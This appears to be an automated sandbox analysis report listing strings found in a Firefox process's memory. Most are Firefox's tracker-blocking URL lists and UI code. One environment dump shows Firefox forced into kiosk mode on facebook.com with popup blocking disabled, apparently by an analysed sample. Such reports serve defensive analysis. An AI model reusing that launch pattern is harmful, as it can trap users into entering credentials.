Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2997276165.000001E763B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: _addSuggestedIndexResults_updateFlexData/flexDataArray<incrementModificationCountsetSpellcheckUserOverrideremoveDocumentStateListenereEditorEnableWrapHackMask_addSuggestedIndexResults/<fractionalDataArray is empty!isSafeToPlayDeferredEventDOM_VK_WIN_OEM_FJ_TOUROKUDOM_VK_OPEN_CURLY_BRACKETcanIncrementMinKeywordLengthurlbarView-title-separatorexperimental.hideHeuristicmaxHistoricalSearchSuggestionsWEATHER_PROVIDER_DISPLAY_NAMEstrippedUrlToTopPrefixAndTitle#recordEngagementTelemetrysuggestedIndexResultsByGroupcontextual.services.quicksuggestisURLEquivalentToResultURLfirefox-suggest-urlbar-block_checkAndSetExposurePropertiesMust provide a boolean argumentincrementMinKeywordLengthDOM_KEY_LOCATION_STANDARDfirefox-suggest-weather-titleDOM_VK_WIN_OEM_FJ_MASSHOUfirefox-suggest-weather-high-lowDismissing weather resultDOM_VK_CLOSE_CURLY_BRACKETremoveAttributeOrEquivalenteNewlinesReplaceWithSpaces.panel-header > h1 > span_createNoSyncedTabsElementtoolkit/branding/accounts.ftlappMenu-header-descriptionPanelUI-fxa-remotetabs-tabslistrecordSyncedTabsTelemetrysendTabConfiguredAndLoadingensureUnloadHandlerRegisteredget _arrowNavigableWalkerMIN_STATUS_ANIMATION_DURATIONidentity.fxaccounts.enabled_createShowMoreSyncedTabsElementappmenu-fxa-sync-and-save-data2ensureUnloadHandlerRegistered/<_transitionViews/viewRect<https://www.facebook.com/videogWindowsWithUnloadHandleropenPopup/openPopupPromise<EnsureFxAccountsWebChannel equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2959104555.000001E7545E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: am Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=--kioskMOZ_CRASHREPORTER_RESTART_ARG_2=https://www.facebook.com/videoMOZ_CRASHREPORTER_RESTART_ARG_3=--no-default-browser-checkMOZ_CRASHREPORTER_RESTART_ARG_4=--disable-popup-blockingMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:? equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: browser.fixup.domainsuffixwhitelist.Failed to listen. Listener already attached.@mozilla.org/network/protocol;1?name=default{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)devtools/client/framework/devtoolsreleaseDistinctSystemPrincipalLoaderresource://devtools/shared/security/socket.jsUnable to start devtools server on WebChannel/this._originCheckCallbackbrowser.fixup.dns_first_for_single_words@mozilla.org/network/protocol;1?name=filebrowser.urlbar.dnsResolveFullyQualifiedNamesget FIXUP_FLAG_FORCE_ALTERNATE_URIdevtools/client/framework/devtools-browserresource://devtools/server/devtools-server.js^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?DevTools telemetry entry point failed: devtools.debugger.remote-websocketdevtools.performance.recording.ui-base-urlFailed to listen. Callback argument missing.No callback set for this channel.^([a-z+.-]+:\/{0,3})*([^\/@]+@).+devtools.performance.popup.feature-flag@mozilla.org/dom/slow-script-debug;1@mozilla.org/uriloader/handler-service;1get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIJSON Viewer's onSave failed in startPersistenceresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjshttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1@mozilla.org/network/file-input-stream;1_injectDefaultProtocolHandlersIfNeededisDownloadsImprovementsAlreadyMigrated@mozilla.org/network/async-stream-copier;1https://mail.inbox.lv/compose?to=%sCan't invoke URIFixup in the content process{c6cf88b7-452e-47eb-bdc9-86e3561648ef}https://mail.yahoo.co.jp/compose/?To=%sScheme should be either http or httpsresource://gre/modules/JSONFile.sys.mjsgecko.handlerService.defaultHandlersVersionhttp://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs_finalizeInternal/this._finalizePromise<https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/DeferredTask.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sextractScheme/fixupChangedProtocol<{33d75835-722f-42c0-89cc-44f328e56a86}http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/JSONFile.sys.mjsMust have a source and a callback@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sFirst argument should be an nsIInputStreamhttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/uriloader/handler-service;1VALID
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div 